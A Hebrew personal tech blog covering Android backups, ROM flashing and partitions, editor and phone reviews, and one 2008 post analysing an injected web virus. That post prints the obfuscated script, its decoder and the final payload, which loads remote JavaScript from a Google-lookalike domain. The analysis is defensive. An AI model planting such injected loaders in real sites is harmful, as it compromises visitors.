Atom – חרא של עורך

אטום הוא מתיימר להיות מחליף של sublime אבל הוא חרא בריבוע. איטי… דוגמאות:

  1. הוא לא יכול לפתוח קבצים בגודל 2 מגה ומעלה. קבצי C יכולים להגיע לגדרים כאלו בקלות.
  2. הגלילה שלו לא מהירה מספיק.
  3. התמיכה שלו בכל דבר שהוא לא ווב, היא פשוט דרעק. עריכה של קבצי bash היא … לא טובה.
  4. תפתחו קובץ עם 200 שורות, תבחרו באפשרות Selection -> Split into lines, תלחצו home, ואם התחביר שלכם הוא C, אז חלק מהשורות יהיו בתחילת השורה הלוגית וחלק בעמודה 0. לחיצה פעמיים על home לא תעזור לכם. אחרי 20 פעמים, תהיה exception והעורך לא יעבוד שוב.
  5. התוכנה פשוט מאבדת את הסמן מהר מדי… לא הבנתי איך אבל יותר מדי פעמים אני בפוקוס על החלון ואין לי סמן. רק לחיצה על החלון פותרת את זה.
  6. תפתחו XML עם 500 שורות. סמנו 500 שורות. שוב Selection -> Split into lines עכשיו תנסו לשנות משהו. העורך פשוט איטי בטירוף.

עצוב. מאוד.

Share

גיבויים באנדאויד

דיברתי בעבר על גיבויים באנדרויד, אבל לא הסברתי לעומק. בפוסט זה אני אסביר טיפה על אודות גיבויים.

סוג ראשון – זמין בכל אנדרויד 4.0 – adb backup

כל שצריך הוא android-sdk מותקן על המחשב (למעשה את הפקודה adb בלבד) ואפשר לגבות איתה. השימוש הוא פשוט, לכתוב את הפקודה הבאה במחשב תוך כדי שהמכשיר הסלולרי מחובר למחשב:

adb backup  -f backup-2015-2-15.ab -apk -bb com.whatsup com.pinterest

הפקודה תיצור ארכיב שיש בו את החבילות שביקשתם, ההגדרות שלהן וההרחבות שלהן. ניתן לשים כמה חבילות שרוצים, וניתן לשנות את שם הקובץ שייכתב. יש לשים לב, כי צריך לשים את השם הקנוני של החבילה ולא הטקסט שכתוב בלאונצ'ר. כדי למצוא את השם המדוייק של החבילה אני משתמש בפקודה הבאה:

adb shell pm list packages | grep firefox
package:org.mozilla.firefox

לשיחזור, משתמשים בפקודה הבאה:

adb restore backup-2015-2-15.ab

כמה הערות:

  1. כשיתחיל הגיבוי בטלפון יהיה חלון שבו תתבקשו לשים ססמה כדי להגן את הגיבוי. אני סטלן ושוכח את הססמאות… אז לפעמים אני שם את הססמה בשם הקובץ… אבל לאחרונה גם וויתרתי על זה ואני פשוט מאשר כדי לעשות גיבוי ללא ססמה.
  2. אם גיבית אם ססמה – כדי לשחזר צריך גם ססמה. אם אין ססמה – אי אפשר לשחזר, מניסיון 🙂
  3. אין בעיות להעביר גיבוי בין מכשירים. אני העברתי את whatsup כולל היסטוריה מלאה של שיחות, כמה פעמים בין מכשירים בטכניקה הזאת.
  4. אני יצרתי סקריפט ששומר מספר חבילות (כאלו שאין בחנות של אנדרויד, שזמינות דרך FDroid) וגם שם את התאריך בשם הקובץ (שימוש בפקודת לינוקס date).
  5. אם תשימו את דגל -shared בסוף הפקודה (המקף מצד שמאל למילה) תגבו גם הגדרות כלליות של המכשיר (אני חושב שגם תמונות). אני מגבה אותן ידנית, פשוט מעתיק למחשב.
  6. כדי לגבות ולשחזר שיחות ו-SMS אני משתמש בתוכנה SMS & Call backup
  7. אנשי קשר ופגישות נשמרים בשרתים של גוגל. אני אישיתי משתמש ב-OwnCloud ומשתדל לא לשים אנשי קשר שם (וזה ממש קשה, גוגל די דוחפת שאני אעשה את זה, גם אם זה בטעות).
  8. בדביאן ניתן להתקין את החבילה android-tools-adb במקום להוריד כמה מגה מהשרתים של גוגל של android-sdk.

גיבוי שני – דרך ה-recovery. יפורסם בעתיד.

Share

הרצאה על D שלא הייתה

כרגע חזרתי ממפגש מפתחי קוד פתוח, שבו הייתי אמור לדבר על שפת D. אבל… החלטתי להעביר הרצאה של מישהו אחר במקום. העברתי הרצאה של מרק רנדל, שנקראת "שפת התכנות הגרועה ביותר". נראה שאנשים התלהבו מההרצאה – אז הינה המקור. מומלץ ביותר. למרצה יש מבטא מצחיק ממני.

https://skillsmatter.com/skillscasts/6088-the-worst-programming-language-ever#video

אני אעביר את ההרצאה על שפת D בהזדמנות אחרת. ייתכן מאוד חודש הבא, אבל אני רוצה לתת את הבמה לאנשים אחרים גם.

תודה לכל האנשים שבאו למרות הסופ"ש קרוב, ולמרות הסופה!

נ.ב.

הינה קישור מעניין, לספרייה שהופכת את C אל שפה מודרנית בסגנון jquery. מאוד מעניין, מוזר מאוד.

http://libcello.org/home

Share

שידרוג אל Lollipop – מפתיע לטובה – חלק תשיעי בסדרה

(בניגוד לפוסטים קודמים בסדרה, כעת אני מדבר על נקסוס 4 ולא Galaxy S1, תתגרלו לזה…)

אז יש באג ב-Cyanogenmod שגורם לזה שאין קול בזמן שיחה. שחר נתקל בזה, וזה מתועד כאן. הפתרון שמוצע שם הוא לבטל שירות של אנדרויד. זה עובד, ובהחלט יש קול. אבל… נוצרה בעייה חדשה. אצלי המכשיר נכבה אחרי 4 שעות המתנה. בדקתי את זה כמה ימים – וכן, הסוללה נגמרת במהירות כזאת. זה אומר שהרום לא שמיש כלל. ואני צריך "טלפון", אז חייבים להחליף רום.

ראיתי שיש nightly builds של CyanogenMod אבל בפורומים מתלוננים על בעיות ילדות. החלטתי להיות אמיץ ולהתקין את הרום המקורי של אימאבא-שמוגל-גוגל. עשיתי את הניסוי הזה כאשר 5.0.0 יצא, ולא הייתי מרוצה. כיום אני מריץ את 5.0.1 ומרוצה בצורה מוזרה. מאוד.

  1. המכשיר מחזיק בהמתנה יומיים. כן, משהו כמו 40 שעות (סוללה חדשה… עלתה 150 ש"ח…). יותר טוב מהיום בו קניתי את המכשיר (עוד מידע כאן).
  2. העיצוב מחריד. שטוח מדי. יותר מדי צבעוני. נראה כאילו ילד זרק צבעים על קיר בצורה אקראית. אני ממש מתחבר אל holo יותר מה-Matrtial design. המסך הוא דו מימדי … אז לנסות להוציא ממנו תלת מימד… לא נראה לי. אהבתי את זה ש-Holo הבין שהוא במדיה דו מימדית ולא התפשר.
  3. ברום החדש אין גלריית תמונות עצמאית. יש אחת שקשורה אל גוגל פלוס, אז צריך להתקין אחת צד שלישי. אני התקנתי את זאת  Gallery KK – Gallery ICS, ושילמתי למפתח 5 ש"ח כדי שלא יהיו לי פרסומות. אם תימצא תוכנה חופשית – אני אחליף את התוכנה שוב.
  4. השעון המעורר נשמע חלש מדי, שימו לב לזה.
  5. המעבר אל Art מורגש. כמו כן, הקטינו את הזמן של הרבה אנימציות (פסיכולוגיה עוזרת במדעי המחשב…). המכשיר מרגיש ממש מהיר עכשיו.
  6. המעבר אל Art מצוין למפתחים!!!!!11 בגרסאות קודמות של אנדרויד לדבג תוכנה step by step היה כואב. מעבר בין שורות ב-Android Studio היה לוקח שלוש שניות. כיום ב-Lollipop מה שמאט זה ה-UI של ה-IDE. טוב שיש לי מחשב חזק… עכשיו אפשר לכתוב תוכנות דפוקות ל-Desktop… (אני קורא לזה התקדמות אחורה).
  7. בהגדרות של הסוללה נוסף גרף שיודע להציג מתי הסוללה תיגמר ומתי ההטענה שלה תסתיים. ראיתי את זה בתוכנות צד שלישי. זה פיצ'ר שקשה לתאר כמה הוא חשוב.
  8. יש המון תוכנות bundeled של גוגל. החלטתי להפסיק איתן (אי אפשר להסיר כי הן ב-System partition). דוגמאות: Google Plus, News Stand, Games, Music, Keep. אני מזכיר שאין תוכנת גלריה, והתקנתי אחת צד שלישי. אני אשמח להצעות נוספות בקשר לגלריה.

מה חסר לי:

  1. privacy manager. למעשה Firewall אל אנשי קשר, הודעות ומיקום.
  2. root – אני בטוח שאפשר לקבל פה root בכוח, אבל זה לא מרגיש לי נכון. אני אשבר ואעשה את זה בקרוב בכל זאת.
  3. Bootloader שיודע לעשות גיבויים. אני צריך לכתוב פוסט פה על גיבויים וזה יהיה ברור למי שלא מבין על מה אני מדבר.
  4. ברום הרגיל של אנדרויד אין תמיכה ב-adb דרך הרשת. לפחות לא ללא root.
Share

צריבה של ROM עבור Galaxy S1 i9000 מלינוקס

בפוסט קודם הסברתי על אודות מחיצות באנדרויד. "הקהילה" קוראת לאסופה של ה־images של המחיצות הללו בתור ROM. אין הרבה הסברים באינטרנט שמסבירים איך לצרוב מכשירי Galaxy S i9000 בעברית בלינוקס. אז – מעכשיו יש.

  1. תורידו את ה־ROM־ים המקוריים של החברה המתאימה לכם. אין בעייה גדולה לשים רום של חברה אחרת. אם זה לא עובד, אפשר לצרוב את המודם המתאים. באתר של iAndroid יש קישורים להורדה: http://iandroid.co.il/forum/viewtopic.php?f=42&t=18962
  2. הקבצים שתורידו הם self extracting exe לחלונות. אצלי wine עשה את מלאכתו נאמנה והקבצים שנוצרו וחתימות ה־MD5 הם (קבצי ה־exe הם ממש ישנים, ייתכן ועכשיו יש קבצים עם חתימה שונה, מה שחושב זה קבצי ה־tar שנוצרים מהם):
    82d5a5fffd1fea566aab7fe39522aa2c  I9000.Cellcom.JIJVG.exe
    0cb6ef26ce3076c5b3ffde7cb2ad2a1a  I9000.Partner.JHJVG.exe
    254ef10b0ddacfeabc44cf547082e856  I9000.Pelephone.JJJVB.exe
    eedb05d074db2026b38c8f00ca18f935  Cellcom.JIJVG.tar
    33535d9aff3e39d04b0cc504ac389b51  Pelephone.JJJVB.tar
    7d593eae36a2d5151e6a84454c739827  Partner.JHJVG.tar
  3. עכשיו צריך לפתוח את אחד הקבצים, בתוך ספרייה חדשה (לדוגמה):
     mkdir open-android-firmware
     cd open-android-firmware
     tar xf ../Cellcom.JIJVG.tar
  4. כדי לצרוב צריך גם קובץ pit שמגדיר את מבנה המחיצות. חיפוש ברשת אחר s1_odin_20100512.pit  תניב קובץ שהתחימה שלו היא 1d927b36d2fa807a22e64fc86b445130
  5. צריך גם קובץ שמגדיר dbdatafs, הוא נקרא גם PDA (אין לי שמץ של מושג מה זה). אותו אפשר להוריד מכאן: http://forum.xda-developers.com/showthread.php?t=2184403 החתימה של מה שהורדתי היא 868b81b9e28d30c82a00038d29e65d8c
  6. הצריבה תיעשה על ידי תוכנה heimdall. היא זמינה מהמאגרים החופשיים של דביאן. להתקנה:
     sudo apt install heimdall-flash
  7. אופציונאלי: אני לא אוהב להשתמש ב־root, ולכן הגדרתי חוק udev שהמכשיר יהיה ניתן לתכנות גם בעזרת המשתמש שלי. צריך רק לדאוג שהמשתמש יהיה תחת הקבוצה plugdev ואז החוק הבא יעבוד (זה גם טוב לעבודה מול adb בתור משתמש רגיל, ולכן מומלץ).השורה אחרונה מתאימה לגלקסי, האחרות לנקסוס וואללה, לא זוכר 🙂
    elcuco@pinky ~ $ cat  /etc/udev/rules.d/51-android.rules 
    SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev" 
    SUBSYSTEM=="usb", ATTR{idVendor}=="681c", MODE="0666", GROUP="plugdev" SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666", GROUP="plugdev"
  8. בשלב זה נשים את המכשיר במצב download. תוציאו את המכסה האחורי,ואז תוציאו את הסוללה (פשוט לתת מכה והיא יוצאת). תכניסו מחדש את הסוללה ואז ללחוץ על השילוש הקדוש: מקש הבית, כפתור שמע תחתון וכפתור ההדלקה. על הצג יהיה אנדרויד צהוב.
    המלצה: לא לשים את המכסה אחורי. יהיה יותר קל להוציא את הסוללה ולהתחיל מההתחלה, ואני מבטיח שיהיה צורך בזה 🙂
  9. כעת פשוט מפעילים את הפקודה הבאה (אני שמרתי אותה בתסריט בשם flash-all.sh)
    heimdall flash --repartition  \
       --pit s1_odin_20100512.pit \
       --FACTORYFS factoryfs.rfs  \    
       --CACHE cache.rfs          \
       --DBDATAFS dbdata.rfs      \
       --IBL+PBL boot.bin         \
       --SBL Sbl.bin              \
       --PARAM param.lfs          \
       --KERNEL zImage            \   
       --MODEM modem.bin
  10. זהו. הצריבה לוקחת כמה דקות ואחרי המכשיר עולה כמו חדש.

שימו לב לאותיות הגדולות. הטקסט הזה מגדיר את שמות המחיצות כפי שמוגדרות בקובץ pit שבחרתם (תפתחו אותו בעורך טקסט ותבינו). אני מניח שאם נשנה את שמות המחיצות לאותיות קטנות נוכל לשנות את הפקודה שתהיה באותיות קטנות. אם מישהו בודק את זה – תכתוב את זה בתגובות, זה יהיה נחמד לדעת.

המלצות נוספות:

  1. אל תנסו את זה בחלונות. צריך להשתמש בתוכנה odin שאין לי מושג מה היא עושה מי כתב אותה. זאת הדלפה של מישהו ואני לא סומך על קוד של מישהו אחר במחשב שלי. התוכנות שיש בלינוקס נבדקו והן קוד פתוח, אני סומך עליהן יותר.
  2. תוודאו את החתימות (md5 במיקרה של מה שאני נותן כאן).
  3. כמה שיותר מהר נסו לשים רום אלטרנטיבי. cyanogenmod הוא בסדר גמור. אני חושב ש־Replicant יהיה יותר טוב – אבל לא בדקתי אישית, והוא לא זמין לכל מכשיר.
  4. על מכשיר ישן זה, לא הייתי ממליץ על gapps כלל. אני השתמשתי ב־FDroid והשלמתי כמה תוכנות עם Aptoid. האחרון מפוקפק משהו… אבל זאת פשרה שאני נאלץ לחיות איתה.
  5. כדי להחליף מודם, יש לשים את המכשיר במצב download ולצרוב בעזרת הפקודה הבאה (את המודם צריך לקחת מהרום המתאים):
    heimdall flash --MODEM modem.bin
  6. אם דילגת על השלב של udev פשוט לשים sudo לפני כל פקודה.

שאלות שנותרו לי ללא מענה:

  1. מה התוכן של dbdata.rfs ומה המטרה של המחיצה הזאת.
  2. מה זה param.lfs.

תזכורת: מחיצות באנדרויד

Share

מחיצות באנדרואיד

לאחרונה יצא לי לצרוב מחדש מכשיר Galaxy S1 i9000. לא עשיתי את זה מלא זמן, אז חיפשתי באינטרנט מידע. מה שכתוב ברשת כרגיל אלו שטויות וחצאי אמיתות שכתבו קהילת המודרים. למזלי אני לא שייך לקהילה הזאת, אבל אני כן מבין טיפה בלינוקס ואנדרואיד, אני אנסה לעשות סדר.

נתחיל מזה שאני אסביר על המחיצות במכשיר אנדרואיד. בפוסט הבא אני אסביר איך צורבים מתוך מתוך לינוקס. הההסברים המובאים כאן יוצאים מתוך הנחה שהקורא מבין בלינוקס, ברמה "סבירה" ולכן הם טיפה טכניים, זה בכוונה.

  1. מחיצת boot. במערכת לינוקס ה־bootloader טוען את הקרנל, שמצידו הוא יעשה mount ל־rootfs ואז יפעיל את ‎/sbin/init . בשנים האחרונות בוני הפצות בונים אל תוך הקרנל initramfs – שהוא rootfs קטן, שממנו עושים pivot_root למערכת האמיתית.
    באנדוירד – ה־rootfs גם בנוי אל תוך הקרנל, אבל אין pivot_root והמערכת של הקרנל היא זאת שזמינה במכשיר. ה־partition הזה הוא למעשה RO, כיוון שב־boot הבא הקרנל יטען את כל המחיצה מחדש. הקרנל כולו יושב במחיצה הזאת. בזמן צריבה היא נקראת kernel, ולא boot, האחרון מכיל bootloader ויש הסברים בנושא בסוף הפוסט.
    דרך אגב – התמונה שאתם רואים באתחול של המכשיר? logo.gif. האניצמיה שאחריה, זה bootanim.
  2. מחיצת system. זאת המערכת של אנדורויד. השכבה הגרפית, וכו'. המחיצה הזאת מכילה גם את כל ה־user space drivers שאנרדרויד משתמשת. אין ממש מודולים, הכל בנוי אל תוך הקרנל. המחיצה הזאת mounted על ידי אחד מתסריטי האתחול אל /system/ בזמן האתחול, במצב RO. אם תשנו את ההרשאות, ותשנו שם קבצים הם ישארו ל־boot הבא, כיוון שהמחיצה הזאת ממופה אל התקן פיזי. במערכות סגורות, ייתכן וה-bootloader יגלה שיש שינוי בחתימה של המחיצה ויסרב לעלות את לינוקס.
  3. מחיצת data. זאת המחיצה שמכילה את ההגדרות של המשתמש, האפליקציות התקנו וכו'. המחיצה הזאת mounted במצב RW. יש ספרייה בעלת הרשאות למשתמש שמתחבר דרך adb במקום /data/local/tmp/.
    כשאתם עושים reset to factory defaults במכשיר, כל מה שעושים הוא לפרמט את המחיצה הזאת.
  4. מחיצת radio. במכשיר יש כמה מעבדים, אחד מהם הוא מעבד עצמאי שמדבר עם המודם. לכל ייצרן יש מודם שונה, אז כדי גוגל יצרו פרוטוקול ו"דרייבר" עבור המערכת הפעלה. היצרן של החומרה צריך לכתוב daemon שמאזין ב־local socket מול המערכת של אנדרואיד ומדבר עם החומרה (המעבד השני). הצד שמדבר מול אנדרואיד תקני ויציב, ומצד שני משתנה בהתאם לחומרה. מילות החיפוש שלכם בגוגל הם rild ו־rilj (המונח האחרון היה בשימוש יותר ב-4.2, עכשיו אני רואה אותו פחות).
    מערכת ההפעלה שמפעילה את המעבד שמדבר מול חומרת הרדיו נמצאת במחיצה הזאת, זאת ה"קושחה" של המודם. שוב, מדובר סה"כ על מערכת הפעלה למעבד armV5 ש"אנדרואיד" טוען בזמן האתחול על המעבד השני (תחשבו משהו בסגנון, grub שטוען את לינוקס).
  5. מחיצת persistent (לא זמינה בכל מכשיר). בעת ייצור של מכשיר צריך לכייל פרמטרים מסויימים יחודיים פר מכשיר. למשל ה־serial number או פרמטרים שיגרמו למודם הספציפי הזה לצריך פחות חשמל (יש הבדלים קטנים שנוצרים כתוצאה מאופן הייצור של המודמים). האתחולים הללו נעשים במפעל ומצריך ציוד מסוייים, וכאשר ניתן לעשות את הכיון בשטח – הוא לוקח זמן. יצרנים שומרים במחיצה זו פרמטרים שמיוצרים פעם אחת במחזור חיים של המכשיר כדי לייעל את זמן האתחול (מאתחלים פעם אחת, שומרים ערכים ופעם הבאה במקום לכייל פשוט כותבים לחומרה את הערכים מהפעם הקודמת).
    המחיצה הזאת mounted R/W אבל רק ל־root יש הרשאות כתיבה אליה. המחיצה הזאת לא מפורמטת בזמן איפוס המכשיר.
  6. מחיצת recovery. מי שהתקין רום של אנדרואיד שיחק עם תוכנה במכשיר שעולה "לפני אנדרואיד". אז זה לא בדיוק נכון… בסה"כ מדובר על קרנל אחר שב־initramfs שלו יש תוכנה שונה.
    בזמן העלייה של המכשיר, ה־boot loader בוחר איזה קרנל להפעיל בעזרת הכפתורים המוזרים שאתם לוחצים בשניות הראשונות של הפעלת המכשיר.
  7. מחיצת cache. הספרייה הזאת היא לשימוש פנימי של אנדוירד. פעם היא שימשה לשמירה של ה־dalvik cache. אני לא יודע בדיוק מה היא עושה בימינו (אני מניח ש־dart שומר שם את ה־binaries שהוא יוצר מהקוד dalvik שאנחנו מקמפלים באקליפס). כמו כן, בזמן האתחול המערכת בודקת האם קובץ מסויים קיים, ואם כן הוא מפעיל את מערכת ה־recovery (ראו סעיף קודם) כדי לעדכן את המערכת.
    אפשר לפרמט את המחיצה הזאת ללא בעייה, התוכן יתמלא באתחול הבא (האתחול יהיה איטי יותר, כיוון שהוא צריך ליצור את המטמון מחדש).
  8. lk (קיצור של little kernel, לא בדיוק מחיצה). במקביל למערכת ה־recovery ל"אנדרואיד" (במובן הרחב מאוד… בשלב זה אפילו לינוקס לא פועל) יש מערכת אחרת שמאפשרת "לצרוב" את המכשיר. זה האנדרואיד הצהוב הזה שאתם רואים שאתם רואים בזמן download mode. מערכת הפעלה זו היא רביעית שיושבת במכשיר (לינוקס ראשון זה ה־recovery, לינוקס שני זה "אנדרואיד" והמערכת שעובדת במודם). היא יודעת לדבר עם ה־USB וכאשר אתם עושים flash בעזרת heimdell זה כאילו שאתם במכשיר ועשים dd אל תוך מחיצה.
  9. pit – רשימת המחיצות. במחשב נורמאלי, רשימת המחיצות נשמרת בתחילת הדיסק, ואז כדי לשנות מחיצות פשוט מפעילים fdisk שקורא כמה סקטורים בתחילת הדיסק. היצרנים של מכשירי arm החליטו לעשות את זה מסובך. אז כדי לעשות את זה במכשירי Galaxy S i9000 משתמשים ב־heimdell כדי לשלוח אל המכשיר את רשימת המחיצות, הרשימה הזאת כתובה ב־pitt file. אפשר למשוך אותו מהמכשיר בעזרת הפקודה
    heimdall download-pit --output blabla.pit

    אפשר למצוא קבצי pit באינטרנט, חפשו את הקובץ s1_odin_20100512.pit ותוודאו שה־md5sum שלו הוא 1d927b36d2fa807a22e64fc86b445130.

אני לא מבין הרבה בנושא הזה – אני אשמח אם בתגובות מישהו ייתן הסבר טוב. ומוסבר. חצאי אמיתות ואגדות אורבניות לא יתקבלו. אני צריך קישור לתיעוד רשמי או קוד. מה שמעניין אותי זה לדעת איפה הבנייה של הקרנל, והחיבור של מערכות ה־recovery. לא חקרתי את זה לעומק ואני רוצה שמישהו יקצר לי את הזמן.

יש הסברים טובים באתר של Replicant, שם מסבירים אודות ה-bootloaders הסגורים של סמסונג. ההסברים לא מספקים לטעמי, אבל מפעת חוסר ידע פומבי (אני ממליץ להסתכל על שאר הדפים שקשורים שם למכשיר, יש הסברים טובים ומעמיקים עד כמה שאפשר).

ההבדל בין מכשירי סמסונג ו"שאר העולם" הוא השימוש בפרוטוקול לא תקני עבור הדברים הנמוכים הללו. בשאר המערכות משתמשים ב־fastboot (פרוקוטול דומה לזה של adb). הקוד זמין ב־lk. זה מה שיש בשימוש במכשירי נקסוס.

עריכה:
העירו לי שכותבים אנדרואיד ולא אנדרויד אז לטובת SEO אני תיקנתי את הפוסט הזה.

Share

שלום btrfs, אולי שנה הבאה

ניקיון: מצאתי עוד פוסט ישן. זה משנת 2010. אני מפרסם איך שזה – לטובת ההיסטוריה. דרך אגב – 4 שנים אחרי, עוד לא 🙂


 

לאחרונה אני מרגיש שהמחשב שלי ממש, ממש, ממש איטי. דברים כמו aptitude distupgrade לוקחים כמה דקות (משהו כמו 20!) והמחשב מרגיש ממש איטי.

לפני יומיים המחשב שלי פשוט נתקע באמצע השידרוג. התכלתי בלוג ואני רואה אופס שקשור ב-btrfs. זהו – החלפתי את המערכת קבצים ל-ext4 (לפי הצעתו של אלעד…) ובינתיים המחשב מרגיש מהיר יותר. אני מאד מחבב את הרעיון של btrfs, אבל לא עכשיו. אולי עוד שנה.

http://www.youtube.com/watch?v=-0Xa4bHcJu8

Share

וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על "המסך", אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום "להדפיס על המסך" אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

Share

ביקורת – נקסוס 4

לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
